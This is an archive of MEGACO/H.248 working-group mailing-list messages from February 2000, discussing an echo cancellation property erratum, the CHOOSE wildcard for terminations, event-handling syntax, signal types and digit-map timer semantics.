Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0AE87590@standards.nortelnetworks.com>; Wed, 9 Feb 2000 15:40:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 36343 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 15:39:46 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.E4768A50@standards.nortelnetworks.com>; Wed, 9 Feb 2000
          15:39:46 -0500
Received: from zmers013 by smtprch1.nortel.com; Wed, 9 Feb 2000 14:41:52 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Wed, 9
          Feb 2000 15:41:24 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF53BV>; Wed, 9 Feb 2000 14:41:22 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF733E.069782A4"
Message-ID:  
Date:         Wed, 9 Feb 2000 14:41:18 -0600
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: E.13.1 echo cancellation
X-To:         Roy Spitzer 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF733E.069782A4
Content-Type: text/plain

Hi Roy,
G.165/G.168 is one option, and G.164 is a second option (or you choose to
simply put echo cancellation "on", or you turn it off with "off"), but you
never have more than one of these options. G.164 is there as an "older
version" of echo cancellation, for backwards compatible reasons. We could
change the text explaining ec to be as you say, echo cancellation/echo
suppression, but I don't know whether it is worth it.

Nancy
-------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Roy Spitzer[SMTP:rspitzer@TELOGY.COM]
> Sent:         Wednesday, February 09, 2000 2:11 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: E.13.1 echo cancellation
>
> Nancy,
>
> There seems to be a terminology problem here.  G.165 and G.168 are echo
> cancellation algorithms.  G.164 is an echo suppressor algorithm.  In
> general
> echo cancellators are better than echo suppressors.  Only older style
> equipment uses echo suppressors and it only works well for half duplex
> communications.  If ec were defined as echo cancellation/echo suppression,
> the text is correct.  There does not appear to be an application where
> echo
> suppression and echo cancellation would be simultaneously active.
>
> Regards,
> Roy
>
> Roy Spitzer                              Telogy Networks
> Phone: 301-515-6531                20250 Century Blvd.
> FAX:    301-515-7954                Germantown, MD 20874
> email:  rspiter@telogy.com
>
> -----Original Message-----
> From: Nancy-M Greene [mailto:ngreene@NORTELNETWORKS.COM]
> Sent: Thursday, February 03, 2000 10:53 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: E.13.1 echo cancellation
>
>
>
> Errata in v14 E.13.1:
> Instead of just allowing Echo Cancellation to be  "on", or "off", we need
> to
> allow these possibilities:
>
> Permanently enabled: "on"
> Permanently disabled: "off"
> Enabled but conformant to G.165/G.168: "g165"
> Enabled but conformant to G.164: "g164"
>
> Default is "g165".
>
>
> Here is the text to be changed in E.13.1 (in blue, if you see it):
>
> E.13.1  Properties
> Echo Cancellation
>
>
>         PropertyID: ec (0x0008)
> By default, the telephony gateways always perform echo cancellation
> according to
> G.165/G.168. However, it is necessary, for some calls, to turn off these
> operations.
> Type: enumerated
> Possible Values:
>
>
>         "on" (when the echo cancellation is permanently enabled and will
> disregard any
> incoming tones)
> "g165" (when ec is according to G.165/G.168: ec is on, but will turn
> itself off when it sees a 2100Hz tone with phase reversal (i.e. a CED fax
> tone, or an
> ANS modem tone)
> "g164" (when ec is according to G.164)
> "off" (when it is turned off.)
> The default is "g165".
>
>         Defined In: LocalControlDescriptor
>         Characteristics: read/write
>
>
> Nancy
>
>
> --------------------------------------------------------------------------
> Nancy M. Greene
> Internet & Service Provider Networks, Nortel Networks
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>

------_=_NextPart_001_01BF733E.069782A4
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: E.13.1 echo cancellation




Hi Roy, 

G.165/G.168 is one =
option, and G.164 is a second option (or you choose to simply put echo =
cancellation "on", or you turn it off with "off"), =
but you never have more than one of these options. G.164 is there as an =
"older version" of echo cancellation, for backwards =
compatible reasons. We could change the text explaining ec to be as you =
say, echo cancellation/echo suppression, but I don't know whether it is =
worth it.



Nancy

-------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com



    

    ----------

    From:   =
Roy =
Spitzer[SMTP:rspitzer@TELOGY.COM]

    Sent:   =
Wednesday, February 09, 2000 2:11 =
PM

    To: =
    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: =
       Re: E.13.1 echo cancellation

    


    Nancy,

    


    There seems to be a terminology =
problem here.  G.165 and G.168 are echo

    cancellation algorithms.  G.164 =
is an echo suppressor algorithm.  In general

    echo cancellators are better than =
echo suppressors.  Only older style

    equipment uses echo suppressors and =
it only works well for half duplex

    communications.  If ec were =
defined as echo cancellation/echo suppression,

    the text is correct.  There does =
not appear to be an application where echo

    suppression and echo cancellation =
would be simultaneously active.

    


    Regards,

    Roy

    


    Roy =
Spitzer           =
;            =
;       Telogy Networks

    Phone: =
301-515-6531          =
      20250 Century Blvd.

    FAX:    =
301-515-7954          =
      Germantown, MD 20874

    email:  =
rspiter@telogy.com

    


    -----Original Message-----

    From: Nancy-M Greene [mailto:ngreene@NORTELNETWORKS=
.COM]

    Sent: Thursday, February 03, 2000 =
10:53 AM

    To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: E.13.1 echo =
cancellation

    

    

    


    Errata in v14 E.13.1:

    Instead of just allowing Echo =
Cancellation to be  "on", or "off", we need =
to

    allow these possibilities:

    


    Permanently enabled: =
"on"

    Permanently disabled: =
"off"

    Enabled but conformant to =
G.165/G.168: "g165"

    Enabled but conformant to G.164: =
"g164"

    


    Default is "g165".

    

    


    Here is the text to be changed in =
E.13.1 (in blue, if you see it):

    


    E.13.1  Properties

    Echo Cancellation

    

    


            PropertyID: =
ec (0x0008)

    By default, the telephony gateways =
always perform echo cancellation

    according to

    G.165/G.168. However, it is =
necessary, for some calls, to turn off these

    operations.

    Type: enumerated

    Possible Values:

    

    


            =
"on" (when the echo cancellation is permanently enabled and =
will

    disregard any

    incoming tones)

    "g165" (when ec is =
according to G.165/G.168: ec is on, but will turn

    itself off when it sees a 2100Hz tone =
with phase reversal (i.e. a CED fax

    tone, or an

    ANS modem tone)

    "g164" (when ec is =
according to G.164)

    "off" (when it is turned =
off.)

    The default is =
"g165".

    


            Defined In: =
LocalControlDescriptor

            =
Characteristics: read/write

    

    


    Nancy

    

    


    ---------------------------------------------------------=
-----------------

    Nancy M. Greene

    Internet & Service Provider =
Networks, Nortel Networks

    T:514-271-7221 (internal:ESN853-1077) =
E:ngreene@nortelnetworks.com

    




------_=_NextPart_001_01BF733E.069782A4--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 19:44:21 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA28382
	for ; Wed, 9 Feb 2000 19:44:20 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A4555560@standards.nortelnetworks.com>; Wed, 9 Feb 2000 19:41:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 36721 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 19:39:21 -0500
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.5CA8A3C0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 19:39:21
          -0500
Message-ID:  
Date:         Wed, 9 Feb 2000 19:38:15 -0500
Reply-To: Singaraselvan Singaravelan
              
Sender: "Media Gateway Control (megaco)"
              
From: Singaraselvan Singaravelan
              
Subject:      Re: Choosing of ephemeral / physical Termination.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Brian,

In the example  given, the termination Id look like
          MyDS3/3/5  which follows the schema by MG TrunkGroup/Trunk/Circuit

The fundamental question is, how does the MGC will understand this schema?
For example if MGC wants to select all the circuits in MyDS3 and Trunk 3, it
would use the termination id MyDS3/3/* if MGC can understand the schema used by MG.

In the event MGC doesn't know the schema used by MG, then schema TrunkGroup/Trunk/Circuit
doesn't convey much information. Then, the Termination Id is mere a string and doesn't convey
any message to MGC.

Please clarify with respect to the example.

Thanks,
Singar/..



On Tue, 1 Feb 2000 10:59:53 +0100, Christian Groves  wrote:

>G'Day Brian,
>
>Sounds like you're leading me somewhere ;-). In answer to your questions
>I believe you could ask for what you've specified below. Whether that's
>the best way to do it is another question.
>
>Cheers, Christian
>
>"Rosen, Brian" wrote:
>>
>> Just checking my assumptions:
>>         For a physical termination, you want to be able to say:
>>                 MyDS3/3/$
>>        meaning, you choose any DS0 you want in the 3rd DS1 of a DS3,
>> assuming that
>>          was how my MG named the DS0s (such a structure NOT being required).
>> Could
>>         I also ask for MyDS3/$/$?
>>
>>         For an ephemeral termination, suppose that I knew, by discovery or
>>         provisioning that RTP bearers were named RTP/nnnn and ATM bearers
>> were
>>         named AAL1/nnnn/nn.  Can I Add=AAL1/0003/$, which means create an
>>         ephemeral for an ATM AAL1 bearer, with the MG choosing the
>> subchannel?
>>
>> Brian
>>
>> > -----Original Message-----
>> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
>> > Sent: Monday, January 31, 2000 10:27 AM
>> > To: MEGACO@standards.nortelnetworks.com
>> > Subject: Re: Choosing of ephemeral / physical Termination.
>> >
>> >
>> > Hello all,
>> >
>> > I believe that we have diverged from the first email in this
>> > thread. We
>> > do not need rules to determine what media and bearer is instantiated.
>> >
>> > For a physical termination a certain terminationID schema will be
>> > assigned by the MG. ie. /myscheme/physical/trunk/circuit
>> > If the MGC wanted to CHOOSE a physical termination it could either
>> > wildcard 'trunk' or 'circuit'.
>> >
>> > For a emphemeral terminatoion a certain terminationID schema will be
>> > assigned by the MG. The MGC by various means would be aware of this
>> > scheme.
>> > ie. /myscheme/euphemeral/IP
>> > If the MGC wanted to CHOOSE a euphemeral termination it could wilcard
>> > the 'IP'
>> >
>> > The 'physical' and 'ephemeral' could be anything in the the
>> > MG assigned
>> > scheme that would differentiate the two.
>> >
>> > If the MGC doesn't care which one then it CHOOSES on the
>> > 'ephemeral'/'physical' level. The MG can determine which one to return
>> > from ANY information in the media descriptors. This is
>> > something for the
>> > MG to decide, not something that needs to be specified in
>> > rules in H248
>> > because they'll probably change according to your
>> > application, resource
>> > allocation algorithms in the MG, etc. I do agree that an
>> > error should be
>> > returned if the MG cannot determine the terminationID.
>> >
>> > I think the scope of this is also limited to the ADD command. The ADD
>> > will return a fully specified terminationID which can then be
>> > referenced
>> > in Move, Modify, Subtract etc.
>> >
>> > Regards, Christian
>> >
>> > Tom-PT Taylor wrote:
>> > >
>> > > Right, we haven't converged yet.  I have a suggestion which may
>> > > resolve this, that we add these rules
>> > >
>> > > (1) If the MGC provides too little information in an Add command for
>> > > the MG to select the bearer type for that termination, the MG must
>> > > reject the command with [appropriate error].  In practice,
>> > this means
>> > > either that the terminationID in the command provides the necessary
>> > > information, or else that at least one instance of a Local or Remote
>> > > descriptor must be present, containing a c= line with a specified
>> > > nettype (or the Annex C equivalent).
>> > >
>> > > (2) If the MGC provides too little information in an Add, Move, or
>> > > Modify command for the MG to determine the medium to be carried in a
>> > > given stream, the MG must reject the command with [appropriate
>> > > error].  The MG has three ways to determine medium:
>> > >
>> > >  - streamID unspecified defaults to streamID=1 and medium=audio
>> > >  - medium has already been specified for that streamID for another
>> > > termination in the same context
>> > >  - explicit specification of medium in an m= line (or the Annex C
>> > > equivalent) in an instance of Local or Remote for the given
>> > streamID.
>> > >
>> > >      -----Original Message-----
>> > >      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>> > >      Sent:   Monday, January 31, 2000 9:15 AM
>> > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > >      Subject:        Re: Choosing of ephemeral / physical
>> > Termination.
>> > >
>> > >      I believe we have not reached consensus on this issue, so I did
>> > >      not
>> > >      change the text.  Tom, is that your view?
>> > >
>> > >      Brian
>> > >
>> > >      > -----Original Message-----
>> > >      > From: Sachin Mittal [mailto:samittal@hss.hns.com]
>> > >      > Sent: Monday, January 31, 2000 2:52 AM
>> > >      > To: MEGACO@standards.nortelnetworks.com
>> > >      > Subject: Re: Choosing of ephemeral / physical Termination.
>> > >      >
>> > >      >
>> > >      > The point that "$" is for choosing ephemeral is not yet added
>> > >      > in V14. Is it that
>> > >      > the discussion
>> > >      > is not yet complete? What about foo$ representing choose
>> > >      physical.
>> > >      >
>> > >      >
>> > >      >
>> > >      >
>> > >      > Sachin Mittal  on 01/27/2000 11:35:50 AM
>> > >      >
>> > >      > Please respond to samittal@hns.com
>> > >      >
>> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > >      > cc:    (bcc: Sachin Mittal/HSS)
>> > >      >
>> > >      > Subject:  Re: Choosing of ephemeral / physical Termination.
>> > >      >
>> > >      >
>> > >      >
>> > >      >
>> > >      > Its true that the type of termination should not be
>> > >      > identified by looking into
>> > >      > the descriptor
>> > >      > information. Somewhere in the text this should be added that
>> > >      > " $ if it appears
>> > >      > alone indicates
>> > >      > ephemeral termination and partial $ (ex foo$) indicates
>> > >      > selection of a physical
>> > >      > termination
>> > >      > (a circuit within a trunk group)".
>> > >      >
>> > >      >
>> > >      >
>> > >      >
>> > >      > "Rosen, Brian"  on 01/27/2000 02:36:46 AM
>> > >      >
>> > >      > Please respond to "Rosen, Brian" 
>> > >      >
>> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > >      > cc:    (bcc: Sachin Mittal/HSS)
>> > >      >
>> > >      > Subject:  Re: Choosing of ephemeral / physical Termination.
>> > >      >
>> > >      >
>> > >      >
>> > >      >
>> > >      > Generally determined by the "kind" of termination requested.
>> > >      > Which is in turn, easily discernable from the Media command.
>> > >      >
>> > >      > However, upon reflection, I think it's not a good answer.
>> > >      > I'd propose that we not allow selection of a physical
>> > >      termination,
>> > >      > in which case choose is always create an ephemeral.  In
>> > >      particular,
>> > >      > the following is perfectly legal:
>> > >      > Context=${Add=${}}
>> > >      > What do you get?
>> > >      >
>> > >      > Brian
>> > >      >
>> > >      > > -----Original Message-----
>> > >      > > From: Sachin Mittal [mailto:samittal@hss.hns.com]
>> > >      > > Sent: Tuesday, January 25, 2000 9:01 AM
>> > >      > > To: MEGACO@standards.nortelnetworks.com
>> > >      > > Subject: Choosing of ephemeral / physical Termination.
>> > >      > >
>> > >      > >
>> > >      > > Annex B.1 says that "The CHOOSE TerminationID $ may be used
>> > >      > > to signal to the MG
>> > >      > > that it has to create an
>> > >      > > ephemeral Termination or select an idle physical
>> > >      Termination".
>> > >      > > How can MG determine when to create an ephemeral
>> > termination
>> > >      > > and when to choose
>> > >      > > idle physical termination.??
>> > >      > > What is the logic behind this decision making?
>> > >      > >
>> > >      > > regards
>> > >      > > -Sachin Mittal
>> > >      > >
>> > >      >
>> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 03:05:12 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA17235
	for ; Thu, 10 Feb 2000 03:05:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.312F4D00@standards.nortelnetworks.com>; Thu, 10 Feb 2000 3:01:57 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37172 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 03:00:04 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.ED7CAC60@standards.nortelnetworks.com>; Thu, 10 Feb 2000 3:00:03
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id AAA09959
          for ; Thu, 10 Feb 2000 00:02:24
          -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000210023004.00b15d20@localhost>
Date:         Thu, 10 Feb 2000 02:50:54 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Proposal for EventHandling
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

There has been a fair amount of discussion on the megaco list concerning
EventHandling, mainly between Brian and Flemming.

The text and procedures that are in draft-ietf-megaco-protocol-06.txt are
also to be included in H.248 if it is approved.

It seems that there is an impasse in terms of the event handling mechanism.
I believe Brian and Flemming have expressed their views fairly well.

It seems most people are happy with the current (06) procedure.  Or at
least there doesn't seem to be anyone else objecting.

I believe that our suggestion to go back to the previous eventhandling
mechanism could be considered an optimization.  In my opinion it is an
important optimization and the current mechanism has some drawbacks, but I
don't think it is fundamentally broken (time will tell in both
cases).  There is a general working agreement to leave optimizations to
future versions or implementor's guides based on implementation
experience.  However, the current syntax is so restrictive that it
basically disallows making optimizations in future revisions.

In order to move things along, I propose the following:

1)  Maintain the procedure defined in 06 for event handling.

2) change eventbufferflag to EventBuffer and make enumerated instead of
Boolean.  Define two values initially:  On and Off.
The procedure remains the same.  the syntax allows extension in future
revisions if we need to make them without making up new flags or descriptors.

3) Change syntax of EventsDescriptor back to the way it was previously, but
only have the following actions allowed:
        KeepActive
        Notify
        AccumulateByDigitMap

In effect, this should maintain the previous syntax, but support the new
procedure.  In addition, it gives the flexibility to provide for new
actions in future versions if needed.

In going through the document, it seems very few changes would be needed to
effect this suggestion.  The biggest is the ABNF for EventsDescriptor since
it was changed substantially since the last release (I noticed Stream ID
has been added also).

I recommend changing the ABNF back to the previous ABNF for
EventsDescriptor but remove the offending Actions.  If there are
modifications of that section for other reasons please tell me.

I hope this is acceptable to the group.  I am also making this suggestion
at SG16 meeting for H.248 in the hopes of not repeating the event handling
arguments again here.

Chip

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 03:05:12 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA17237
	for ; Thu, 10 Feb 2000 03:05:12 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.316FB160@standards.nortelnetworks.com>; Thu, 10 Feb 2000 3:01:57 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37177 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 03:00:09 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.F0EC57B0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 3:00:09
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          AAA09988; Thu, 10 Feb 2000 00:02:30 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000210025139.00b1b740@localhost>
Date:         Thu, 10 Feb 2000 02:53:58 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

I believe the first description of BR, OO and TO is a good summary and is
how it should stay.
The only practical problem is how to interrupt a DTMF digit being
transmitted if the MG receives the signal descriptor.  It will probably
have ended before the MG can send the command to the DSP to stop.  There
will have to be some leeway on this one.
This will be our position here in SG16 in Geneva.

Signal list handling is something I'll have to defer to others.

Chip

At 05:28 PM 2/4/00 -0600, Tom-PT Taylor wrote:

>OK, let's sum up, not that I'm confident that this will fly yet.  I'd like
>to see the reaction of a couple of other vocal parties -- say Michael
>Brown and Christian Groves.
>
>We have three signal types with distinct roles:
>   BR has a timer but is not interrupted by events.  It is interrupted by
> signal descriptor replacement.
>   TO is the most interruptible: timer, events, signal descriptors.
>   OO is the most persistent: interrupted by signal descriptors with
> explicit "Off" syntax only.
>I assume we allow over-riding of default signal type in any given instance
>of playout.
>
>The list is an interesting problem.  I think I have an answer to turning
>an OO list off, but now we also have to define behaviour in response to
>events.  We might consider the following rules:
>
>  -- the type of the list is set explicitly -- every signal on the list
> with the possible exception of the last one must be either BR or TO, in
> order to have an assigned duration
>
>  -- if the last event is OO, the list must be OO and vice versa
>  -- the type of the list, not the type of the signals making it up,
> determines the conditions under which playout of the list ceases
>
>  -- the list times out if it is not OO and all of the signals on it have
> played out, each in turn to its full duration.
>-----Original Message-----  From:   Flemming Andreasen
>[SMTP:fandreasen@WORLDNET.ATT.NET]  Sent:   Friday, February 04, 2000 5:38
>PM  To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:        Re: Cisco
>SG16: Signals Operation
>
>Maybe, but according to Brian's first "no-op" rule, it must be broken in
>order to get fixed :-)
>
>Regarding dial-tone, I don't see the issue. What you have is three
>different signal types and three different semantics. Each has it's own
>time and place. In the case of dial-tone, TimeOut happens to be the one,
>not Brief.
>
>-- Flemming
>
>"Rosen, Brian" wrote:
>  Let's see:    Events stop signals except:        When KeepActive is
> set        If the signal is BR        If the signal is OONet result -
> events stop signals only when TO and not KeepActive.Maybe we should have
> a "StopSignal", rather than a KeepActiveMaybe it happens so seldom that
> we use an embedded signals to do it.Also note that by saying BR doesn't
> stop for events, you twist the solution tofirst digit stops dialtone to a
> new level.Brian
>-----Original Message----- From: Flemming Andreasen [
><mailto:fandreasen@WORLDNET.ATT.NET>]
>Sent: Friday, February 04, 2000 4:55 PM To:
>MEGACO@standards.nortelnetworks.com Subject: Re: Cisco SG16: Signals
>Operation   Hi Tom
>
>OO signals should not be interrupted by an event, only the explicit "Off"
>syntax should have this effect (otherwise we are back to TO signals with
>indefinite duration, and semantically there's good use for something that
>stays active until explicitly told otherwise, e.g. consider message
>waiting indicator)
>
>Regards
>
>         Flemming
>
>Tom-PT Taylor wrote:
>
>
>Digging through the accumulated mass of indented text and comments, I
>think I see two parties agreeing on the following points.  Unfortunately
>experience tells me that as soon as we introduce a third party the
>agreements will vanish, but I'll record them here just in case a miracle
>happens.
>
>1) BR signals have the following characteristics: duration is assumed to
>be known to the MG without explicit MGC input.  Brian wants the ability to
>override duration, and I have no quarrel with that -- the only question is
>the exact mechanism.  The second characteristic is that a BR signal is not
>terminated by the detection of an event.  (But BR signals are still
>terminated by replacement of the Signals descriptor??  Any objections here?)
>
>2) TO signals seem to be fairly well understood.
>
>3) OO signals have the following characteristics: they remain on until
>interrupted by detection of an event, or receipt of a Signals descriptor
>with explicit Off syntax.  Brian's keyword syntax is probably
>acceptable.  Brian has a query about signal lists.  Is there something
>about this proposal that doesn't work given our current signal list text?
>4) Brian's proposals for completion events probably work for Chip and they
>work for me.  To summarize: the current notifyCompletion parameter remains
>but its significance changes: it is a selector (Boolean, default FALSE)
>and does not actually arm reporting.  There is a signal completion event
>which reports on the completion of any signal so flagged, with the
>identity of the signal as a reporting parameter.  QUESTION: should
>KeepActive default to TRUE for this event?  In any case, the signal
>completion event is invoked in the usual way, through an events descriptor.
>
>Open issue: signal failures.  The need for reports of such failures is
>real -- they do happen from time to time.  They happen autonomously, which
>means we either have to have an error method (ServiceChange ?) or an event
>to report them.  The key issue is whether you would need to know about ANY
>failure or only those of selected signals.
>

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 03:30:06 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA17366
	for ; Thu, 10 Feb 2000 03:30:06 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B23C1380@standards.nortelnetworks.com>; Thu, 10 Feb 2000 3:27:02 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37235 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 03:25:09 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6F0C8590@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          3:25:09 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 10 Feb 2000 02:27:15 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Thu, 10
          Feb 2000 03:27:05 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF549B>; Thu, 10 Feb 2000 02:27:03 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF73A0.9BCDC57E"
Message-ID:  
Date:         Thu, 10 Feb 2000 02:27:03 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Dgit map clarifications and queries
X-To:         klaha@HSS.HNS.COM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF73A0.9BCDC57E
Content-Type: text/plain;
        charset="iso-8859-1"

Answers below.

> -----Original Message-----
> From: Kushanava Laha [SMTP:klaha@HSS.HNS.COM]
> Sent: Tuesday, February 08, 2000 2:17 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Dgit map clarifications and queries
>
> Hi Tom,
>      This is with reference to the digitmap changes as exchanged in
> the earlier mails viz. "Issue score card", "Updates submitted to ITU based
> on Issue score card" and "More digitmap fixes dtd. 02/04/2000".
>      I list down below some points - a few are queries (q) and the rest
> clarifications (c)
>
> 1.  Short timer modifier does not explicitly appear in a digitmap string
> (c)
        [[TomT]]  Neither short nor long timer modifier appears.  The "L" in
the digit map string is for something else entirely (tone duration).

> 2. The short timer is implicit. It is started only when there is a '.'
> (DOT)
> encountered
>       OR when a pattern has matched but there is a possibility of an
> alternate
> match if more
>       digits arrive within the timeout. (c)
        [[TomT]]  Correct

> 3. Only 'L' modifiers can appear in a digit string and if it appears then
> it
> overrides the
>      default interdigit timer for the digit position for which it appears.
> For
> subsequent
>      digits till the modifier appears again the default interdigit timer
> is
> applicable.
>      e.g 123L45 implies that only between 3 & 4 'L' timer is to be started
> and
> for the rest
>      it is the default interdigit timer.(q)
        [[TomT]]  No -- "L" means duration of following event matters,
nothing to do with inter-event timing.

> 4. By a default interdigit timer I mean the timer which is started by the
> Media
> Gateway
>      if it can determine that atleast one more digit is needed for a digit
> string to match any
>      of the allowed patterns in the digit map. But in an earlier mail you
> have
> mentioned that
>      this default interdigit timer is the Long Duration timer "L". Then
> what is
> the use of explicitly
>      including an 'L' in the digit string ? Isn't it implicit ? Or is it
> used to
> override a short timer ? (q)
        [[TomT]]  See above.  Timing is always implicit.

> 5. Section 7.1.14, para 5 describes the 'L' timer as "placed in front
> ........."
> which suggests that
>      'L' modifiers dictate  the validity of the duration of the digit
> following
> the modifier to be atleast
>      equal to the long-duration threshold and is not applicable for
> subsequent
> digits. This is not
>      the same as an interdigit timer. Then what is 'L' ? Is it the
> interdigit
> timer or the digit duration timer ? (q)
        [[TomT]]  Digit duration timer, for the one digit position following
it.

> 6. Given a digit map "123|1234" if the user dials 1235 then is 123 to be
> reported through the digit
>     completion event? (q)
        [[TomT]]  123 plus the extra event 5, with termination method FM
(per the dd/ce definition in annex E)

> 7. The implication of a "." (DOT) is an indefinite expectation of the
> digit
> preceding the "." within the
>      short timer duration. It makes sense then if "." appears after an "x"
> but
> what practical meaning
>      does say "7." convey - which is nothing but an indefinite expectation
> of
> "7"s and "7"s only ? (q)
        [[TomT]]  That's correct.

> 8.  With reference to an example stated by you , in case of DTMF dialing
> "x.F"
> means expecting an
